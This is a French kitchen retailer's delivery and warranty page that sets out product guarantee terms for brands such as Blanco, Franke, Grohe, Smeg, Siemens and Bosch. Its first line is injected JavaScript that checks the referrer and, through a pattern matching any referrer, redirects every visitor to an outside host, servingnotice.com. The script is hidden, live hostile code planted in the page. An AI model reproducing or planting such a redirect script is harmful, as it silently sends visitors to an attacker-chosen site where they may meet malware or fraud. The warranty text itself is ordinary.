var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/O7ul2v/intermediary.html?richubaidaninfo"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; Délais et garantie - Mon Espace Cuisine
Délais de livraison
Les articles sont en stock, et sont généralement fournis en une à deux semaines. En cas de rupture de stock, nous vous informons d’un délai supérieur éventuel.
Garanties
Blanco
Qualité
La meilleure qualité dans chaque segment“, c’est en ces termes simples que se résume la philosophie de BLANCO. Ce principe directeur signifie de sévères exigences en matière de qualité des matériaux et de l’usinage. C’est ainsi qu’aucun évier, par exemple, ne quitte notre usine sans avoir subi un contrôle de qualité définitif. En ce qui concerne nos robinetteries pour éviers, nous apportons une attention particulière à toutes les pièces qui sont en contact avec l’eau et imposons pour ces pièces des exigences strictes dès le choix des matériaux. Un département complet a pour seule fonction de s’assurer du respect de nos standards de qualité élevés dans toutes les pièces de l’entreprise. Quelques exemples qui montrent que nous ne faisons aucun compromis en matière de qualité.

Cette exigence de qualité s’étend, au-delà des produits, à tous nos services, à la fiabilité de nos livraisons et à notre service technique.

Garanties
Les produits sont garantis contre tout vice de fabrication pendant deux ans, sauf les produits de la gamme SteelArt, les vidages et les accessoires où elle est de un an.

Des prestations convaincantes

  • Livraison gratuite de pièces sous garantie
  • Disponibilité garantie des pièces détachées pendant 10 ans
L’ équipe SAV Blanco prend vos questions et problèmes très au sérieux.
Contactez-nous par e-mail sur info@blanco.fr . Nous nous ferons un plaisir de vous conseiller.

PIECES DETACHEES
http://www.blanco-germany.com/fr/fr/service_fr/service_apres_vente_fr/service.html

Franke
EviersFranke a choisi de ne proposer que des matériaux éprouvés pour ses éviers :

  • L’Inox en finition satinée, brossée, l’Inox-DEKOR® ou Microdekor®.
  • Les matériaux de synthèse : Fragranit + Sanitized®, Tectonite ®
  • La céramique.

Etendue et durée de la garantieLes produits Franke sont garantis contre tous les vices de construction ou de matière. Ils doivent être utilisés conformément aux usages, pour le service normal auquel ils sont destinés. Nous nous réservons le droit de procéder à tout moment à des modifications techniques ou esthétiques. Notre garantie est limitée aux pièces reconnues défectueuses et s’applique à compter de la date de facturation.

  • Eviers  Inox : à vie (hors éviers à poser et recouvrements : voir mentions spécifiques)
  • Titachrome : 15 ans
  • Céramique : 15 ans
  • Synthèse : Fragranit + 10 ans
  • Tectonite® 5 ans
  • Fradura 2 ans
  • Fradeko 1 an
  • Vidage et accessoires : 1 an
  • Robinetteries : garantie 2 ans
  • Distributeurs de savon liquide : voir indications spécifiques.
  • Tout matériel non repris dans la liste ci-dessus : voir indications spécifiques.

Sont exclus de la garantie :

  • Les frais de main d’oeuvre et de déplacement
  • Les dommages de toutes sortes survenus pendant le transport. Ceux-ci doivent être signalés au transporteur , immédiatement à la livraison,
  • Au-delà d’un an : les accessoires d’évier (y compris le vidage), etc …,
  • Les pièces exposées au feu, chapeaux de brûleurs, grilles porte-casseroles, boutons de commande, etc.
  • Tout endommagement de l’émail ou du verre,
  • Les lampes d’éclairage ou les voyants lumineux, sauf dans le cas où ils ne fonctionneraient pas lors de la première utilisation,
  • Les dommages dus à un raccordement à une tension de réseau incorrecte ou à toute autre manipulation non conforme de l’appareil ou de ses composants,
  • Les dommages dus à toute manipulation non conforme de l’appareil dans le cadre d’un usage ménager normal (par exemple : les taches résultant de l’utilisation d’un produit déconseillé pour le matériau ou à un mauvais entretien de l’appareil),
  • Les dommages dus aux conditions de fonctionnement ou à une usure excessive, par exemple les modèles de démonstration,
  • Une intervention ou des réparations effectuées par des personnes non mandatées par Franke France,
  • Le produit qui a été déplacé de son lieu d’utilisation,
  • Le produit qui a été installé en dehors du territoire métropolitain.

HottesNos hottes, à l’exclusion des “consommables” tels que filtres et lampes d’éclairage, sont garanties 2 ans contre tous les dommages ayant pour origine un phénomène électrique ou mécanique imputable à l’appareil. Nos hottes doivent être utilisées conformément aux usages, pour le service normal (non professionnel) auquel elles sont destinées. Notre garantie s’applique à compter de la date de facturation au consommateur. Dans le cadre d’un dommage garanti et constaté par le réparateur mandaté par Franke France, notre garantie couvre les pièces reconnues défectueuses, les frais de déplacement et de main d’oeuvre du réparateur ainsi que les frais de transport de l’appareil.

Luisina et Elica
Durée de garantie : Eviers, hors vidages : garantie de 5 ans.

Vidages : garantie de 2 ans.

Accessoires : garantie de 2 ans.

Robinetterie : garantie de 2 ans.

Notre garantie est limitée au remplacement par simple échange de toute pièce reconnue défectueuse ou à l’échange complet du produit si nécessaire, sous réserve que le produit :

– ait été installé conformément aux règles de l’art

– n’avoir fait l’objet d’aucune utilisation ou manipulation ou adaptation anormale,

– n’avoir subi aucune agression extérieure (chocs, produits d’entretien corrosifs et/ou abrasifs, etc.)

Exclusion :

– Retour de produit incomplet

– Réclamation sans preuve d’achat

– Produit acheté d’occasion

– Retour de produit neuf sans emballage d’origine

– Produit endommagé lors du transport sans déclaration à la réception du colis

– Produit endommagé lors de l’installation

– Retour de produit sans courrier circonstancié

– Prise en charge de la main d’oeuvre (exemple : dépose/repose)

– Prise en charge des frais de déplacement

– Produit endommagé en cas de fonctionnement excessif (modèles de démonstration)

– Dommages causés par une installation et/ou utilisation du produit non-conforme à sa notice d’utilisation et à un usage dans un

environnement intérieur domestique.

Remarque Robinetterie :

Il est vivement conseillé d’installer un robinet filtre qui évite les remontées de limaille dans la cartouche.

1) Les demandes au service après-vente sont généralement traitées dans un délai de 24 à 48 heures.

Il est demandé de nous faire parvenir votre demande de SAV par écrit exclusivement ( Fax – email – courrier).

Chaque demande doit être documentée par :

– la facture d’origine

– le motif de la réclamation

– le n° de lot de production du produit

– au besoin, quelques photos de constat démontrant clairement l’anomalie

Tout dossier incomplet ne pourra être traité et sera considéré comme nul et non avenu.

2) Les pièces sont envoyées directement au magasin.

3) Toute commande SAV sous garantie (hors vidages et pièces détachées de Robinetterie) est accompagnée d’une facture.

Toute commande SAV hors garantie est accompagnée d’une facture

4) Les pièces détachées de Robinetterie, ainsi que les vidages, ne sont pas récupérés.

Pour les envois de Robinetterie complète, dans notre colis SAV, se trouve une étiquette Colissimo prépayée qui permet au

magasin de nous renvoyer la marchandise défectueuse à notre charge. A réception de celle-ci, elle est testée par notre SAV. S’il

est constaté un défaut de qualité, un avoir est établi. Dans le cas contraire, la facture est due.

5) Les éviers défectueux et les vidages ne sont pas récupérés – l’attaché commercial du secteur se déplace au dépôt pour

constater la défectuosité du produit (idem pour les grosses pièces)

6) Une fois le produit réputé défectueux vérifié, et si le défaut qualité est confirmé, nous procédons au remboursement de la

marchandise par chèque ou avoir.

Votre contact SAV :
Notre équipe SAV est disponible du lundi au vendredi,
de 9H à 12H30 et de 14H à 18H (17H le vendredi),
par téléphone ou par mail
Mail : SAV@scd.fr
Téléphone : 02 99 00 28 30

ZENsink
Les produits ZENsink sont garantis 5 ans.
La garantie s’applique dans les conditions normales d’installation et d’utilisation.
Si l’installation ne présente aucune contre-indication particulière, des précautions sont à prendre lors d’utilisation des produits ZENsink.
La fabrication des éviers de cuisine ZENsink, en résine minérale, leur confère une résistance thermique de 130°C : aucune détérioration survenue au-delà de cette température ne pourrait être couverte par la garantie ZENsink.
Grohe
la-garantie-constructeur-groheLa garantie GROHE est d’une durée de cinq ans contre les vices de fabrication à compter de la date de livraison (limitée à un an pour les traitements de surface de nos robinetteries couleur et pour les pièces détachées vendues seules), la facture faisant foi. La garantie GROHE, dans l’hypothèse où elle est acceptée, se limite à la réparation (ou au remplacement à l’identique, sur décision de GROHE France), ou à équivalent des matériels ou pièces que nous avons reconnus défectueux, à l’exclusion expresse de tous frais accessoires (particulièrement le démontage et remontage) et dommages directs et indirects (notamment ceux consécutifs à une privation de jouissance des installations).
La garantie ne couvre nos produits que s’ils font l’objet d’un entretien par l’utilisateur (nettoyage des filtres, graissage, changement des joints…).
Pour une longévité optimale des robinetteries GROHE, nous vous conseillons de vous reporter à la page « Conseils d’entretien ».
Smeg
Etendue de la garantie : pièces, main d’œuvre, et déplacement : durée de 2 ans.En aucun cas la période de garantie ne saurait excéder le
délai fixé ci-dessus courant à compter de la livraison du
Produit à l’utilisateur final.
Les dispositions des présentes ne font pas obstacle à
l’application de la garantie de conformité des articles L 211-3 à
L 211-12 du Code de la consommation dans le cadre d’une
vente directe à l’utilisateur final, ni de la garantie légale des
vices cachés prévue aux articles 1641 à 1649 du Code civil.
La date d’achat est certifiée par la date de la facture du revendeur.
La responsabilité de SMEG France ne saurait être recherchée
au titre de l’installation des appareils, la charge de cette
dernière ne lui incombant pas.
Il en résulte notamment que SMEG France ne saurait être
tenue pour responsable des dégâts matériels, de leur
conséquences, ou accidents de personnes consécutifs à une
installation non conforme aux dispositions légales et
réglementaires, telle que, par exemple, l’absence de
raccordement à une prise de terre, le déplacement de
l’appareil entraînant une coupure du cordon d’alimentation, du
tuyau d’arrivée de gaz, d’alimentation et d’évacuation des eaux
ou consécutif à des phénomènes extrêmes tels que foudre,
inondation ou changement de gaz, et plus généralement le
non respect par l’utilisateur, l’installateur ou le revendeur des
conditions de montage et de mise en service figurant dans les
notices d’utilisation des Produits de SMEG France.
Les pièces de rechange, lorsqu’elles sont fournies à titre
onéreux, sont garanties six mois à partir de la date de facture,
toute garantie complémentaire consentie par le vendeur
n’engageant pas SMEG France.
La garantie ne peut intervenir si les appareils ont fait l’objet
d’un usage anormal, notamment en cas d’utilisation industrielle
ou commerciale sauf accord expresse de SMEG France, ou
ont été employés dans des conditions différentes de celles
pour lesquelles ils ont été construits, en particulier en cas de
non respect des conditions prescrites par la notice d’emploi, en
cas d’exposition à des conditions extérieures affectant
l’appareil (humidité excessive par exemple) ou en cas de
variation anormale de la tension électrique.
Elle ne s’applique pas non plus aux cas de détérioration ou
d’accident provenant de chocs, chutes, négligences, défauts
de surveillance ou d’entretien, ou bien en cas d’intervention
effectuée directement par un usager ou une entreprise non
agréée et non spécifiquement autorisée par SMEG France ou
en cas d’utilisation de pièces détachées autres que des pièces
détachées d’origine référencées par SMEG France.
La responsabilité de SMEG France est exclusivement limitée à
la réparation des dommages corporels et matériels directs
dont la preuve est fournie par le Client et dans la limite du
montant hors taxe du Produit en cause, sous réserve des
dispositions d’ordre public.
Siemens
Service consommateurs
0892 698 110 (0,34€TTC/mn)
Du lundi au vendredi de 8h30 à 17h30
Nous contacter par mail
Service interventions
01 40 10 12 00 (prix appel local)
24h/24 et 7J/7
Réserver une intervention en ligne

Siemens Services s’engage à vos côtés

Tous les collaborateurs Siemens du service après-vente, notre réseau de 57 techniciens et nos 130 stations techniques agréées présents sur toute la France, s’engagent à vous apporter un service de qualité.

90% des réparations réussies à la première visite.

 

Des délais d’intervention réduits, grâce à la densité de notre réseau et à notre présence nationale.

 

Des techniciens expérimentés et formés en permance sur nos produits.

 

Des réparations garanties 6 mois.

 

Nous utilisons exclusivementdes pièces d’origines, certifiées par notre marque, pour toutes nos réparations.

 

Un service de qualité : 88% de nos clients satisfaits (selon Enquête Satisfaction Clients – Siemens 2011)

 

7. GARANTIE 2 ANS

7.1. Garantie Légale de conformité.

SIEMENS reste tenu des défauts de conformité du bien au contrat (articles L.211-4 à L.211-14 du Code de la consommation) et des vices rédhibitoires dans les conditions prévues aux articles 1641 à 1649 du Code civil.

Art. L. 211-4 du Code de la consommation

« Le vendeur est tenu de livrer un bien conforme au contrat et répond des défauts de conformité existant lors de la délivrance.

Il répond également des défauts de conformité résultant de l’emballage, des instructions de montage ou de l’installation lorsque celle ci a été mise à sa charge par le contrat ou a été réalisée sous sa responsabilité ».

Art. L. 211-5 du Code de la consommation

« Pour être conforme au contrat, le bien doit :

1) Etre propre à l’usage habituellement attendu d’un bien semblable et, le cas échéant :

– correspondre à la description donnée par le vendeur et posséder les qualités que celui-ci a présentées à l’acheteur sous forme d’échantillon ou de modèle ;

– présenter les qualités qu’un acheteur peut légitimement attendre eu égard aux déclarations publiques faites par le vendeur, par le producteur ou par son représentant, notamment dans la publicité ou l’étiquetage ;

2) Ou présenter les caractéristiques définies d’un commun accord par les parties ou être propre à tout usage spécial recherché par l’acheteur, porté à la connaissance du vendeur et que ce dernier a accepté. »

Art. L. 211-12 du Code de la consommation

« L’action résultant du défaut de conformité se prescrit par deux ans à compter de la délivrance du bien. »

Article 1641 du Code civil

« Le vendeur est tenu de la garantie à raison des défauts cachés de la chose vendue qui la rendent impropre à l’usage auquel on la destine, ou qui diminuent tellement cet usage, que l’acheteur ne l’aurait pas acquise, ou n’en aurait donné qu’un moindre prix, s’il les avait connus. »

Article 1648 du Code civil

« L’action résultant des vices rédhibitoires doit être intentée par l’acquéreur dans un délai de deux ans à compter de la découverte du vice. » […]

7.2. Les Produits ne bénéficient pas d’une garantie contractuelle.

7.3 – La date d’achat est certifiée par la date de facture.

Bosch

Le Service Consommateurs

Nos conseillers répondent à toutes vos questions sur le fonctionnement et l’utilisation des appareils électroménagers Bosch. Avant et après l’achat.

0 892 698 010 (0,34€ TTC/mn)
Du lun. au vend. de 8h30 à 12h et de 14h à 17h30.


Ou par e-mail

Le Service Intervention à domicile


Demande d’intervention d’un technicien.
01 40 10 11 00
24h/24, 7j/7

Prenez rendez-vous

A vos côtés tout au long de la durée de vie de votre appareil
Même hors garantie, Bosch vous accompagne. Vous pouvez compter sur notre service après-vente expérimenté et de qualité. A la recherche de votre mode d’emploi, besoin de conseils d’entretien ou d’une intervention rapide, nous nous occupons de tout !

Des experts partout en France
Tous les professionnels du service après-vente Bosch, son réseau de 57 techniciens et ses 130 centres agréés sont présents sur toute la France. Formés en permanence, ils disposent d’une expertise unique sur tous les produits Bosch électroménager.

Réparations garanties 6 mois
Nous utilisons exclusivement des pièces neuves d’origine certifiées par notre marque afin de garantir la fiabilité de nos réparations et allonger la durée de vie de votre appareil.

Un service disponible 24h/24, 7j/7
Parce qu’un appareil en panne nécessite une intervention rapide, nos agents enregistrent votre demande 24h/24, 7j/7, par téléphone ou via notre formulaire de réservation en ligne.
Nos techniciens peuvent intervenir le jour même, en matinée ou en soirée et même le samedi toute la journée*.
* selon votre région

La garantie 
Sachez que pour profiter de vos appareils en toute tranquillité, vous pouvez prolonger leur durée de garantie jusqu’à 2 ans ou 5 ans, en souscrivant une extension de garantie.
Renseignez-vous auprès de votre revendeur.

Des consommateurs satisfaits
Pour rester à votre écoute, Bosch évalue régulièrement ses services. 90% de nos consommateurs jugent nos services “bon”, “très bon”, voire “excellent”. Et, 90% d’entre vous feront de nouveau appel à nos services (Enquête Satisfaction Consommateurs Bosch 2012)
> Donnez-nous votre avis

 

GARANTIE

 

4.1 Garantie des pièces et de la réparation

Les pièces vendues et la réparation sont garanties pour une durée de 6 mois à partir de la date de

facture. Cette garantie comprend la fourniture au Particulier de pièces détachées, à l’exclusion des

frais de main d’oeuvre et déplacement. Elle ne s’étend pas aux pièces changées gratuitement

pendant la période de garantie de l’appareil.

La garantie ne peut s’appliquer si les pièces ont fait l’objet d’un usage anormal, si elles ont été

employées dans des conditions différentes de celles pour lesquelles elles ont été fabriquées et

mentionnées dans le manuel d’utilisation et dans le cas où la détérioration des pièces proviendrait

d’une cause étrangère à l’appareil. La garantie pièces ne s’applique pas si la pièce détachée est

mise en place par une personne non agréée par BOSCH.

 

4.2 Intervention hors garantie

Toute intervention hors garantie est payante (déplacement, main d’oeuvre et pièce(s)

détachée(s)). BOSCH se réserve la possibilité de demander à tout moment au Particulier une

copie de sa facture d’achat afin de vérifier la durée de garantie applicable, celle-ci pouvant

différer d’un revendeur à un autre.

 

4.3 Garantie des produits

Nonobstant les conditions de garantie de BOSCH décrites ci-après, les conditions de garantie

dont bénéficie le Particulier au titre de son contrat d’achat restent pleinement applicables et

relèvent de la responsabilité du revendeur.

Les conditions BOSCH de garantie qui s’appliquent au(x) produit(s) sont indiquées sur le certificat de

garantie BOSCH. A défaut de présentation de ce document la garantie qui s’appliquera sera

d’une année pièce(s) exclusivement à compter de la date d’achat du produit sur présentation

de la facture.

 

4.3.1 La responsabilité de BOSCH ne saurait être recherchée au titre de l’installation des appareils, la

charge de cette dernière ne lui incombant pas. Il en résulte notamment que BOSCH ne saurait être

tenue pour responsable des dégâts matériels, ainsi que de leurs conséquences, ou accidents de

personnes consécutifs à une utilisation anormale telle que définie à l’article 4.3.2 et/ou installation

non conforme aux dispositions légales et réglementaires telle que, par exemple, l’absence de

raccordement à une prise de terre, le déplacement d’appareil entraînant une coupure du cordon

d’alimentation, du tuyau d’arrivée de gaz, du tuyau d’alimentation et d’évacuation des eaux ou

consécutifs à des phénomènes externes tels que foudre, inondation ou changement de gaz, et plus

généralement le non-respect par l’utilisateur, l’installateur ou le revendeur des conditions de

montage et de mise en service figurant dans les manuels d’utilisation et/ou installation des Produits

de BOSCH.

 

4.3.2. La garantie ne peut intervenir si les appareils ont fait l’objet d’un usage anormal, notamment

en cas d’utilisation professionnelle, industrielle ou commerciale, sauf accord express de BOSCH, ou ont été employés dans des conditions différentes de celles pour lesquelles ils ont été construits, en

particulier en cas de non-respect des conditions prescrites dans la notice d’emploi, en cas

d’exposition à des conditions extérieures affectant l’appareil (humidité excessive par exemple) ou en

cas de variations anormales de la tension électrique. Elle ne s’applique pas non plus aux cas de

détérioration ou d’accident provenant de chocs, chutes, négligences, défauts de surveillance ou

d’entretien ou bien en cas d’intervention effectuée directement par un Particulier ou une entreprise

non agréée ou non spécifiquement autorisée par BOSCH ou en cas d’utilisation de pièces détachées

autres que des pièces détachées d’origine référencées par BOSCH.

 

4.3.3. La responsabilité de BOSCH est exclusivement limitée à la réparation des dommages corporels

et matériels directs dont la preuve est fournie par le Particulier, et dans la limite du montant HT du

Produit en cause. La réparation des pertes de denrées, de la dégradation de linge ainsi que de tout

dommage financier est exclue. Les dispositions de la présente clause s’appliquent sous réserve des

dispositions d’ordre public.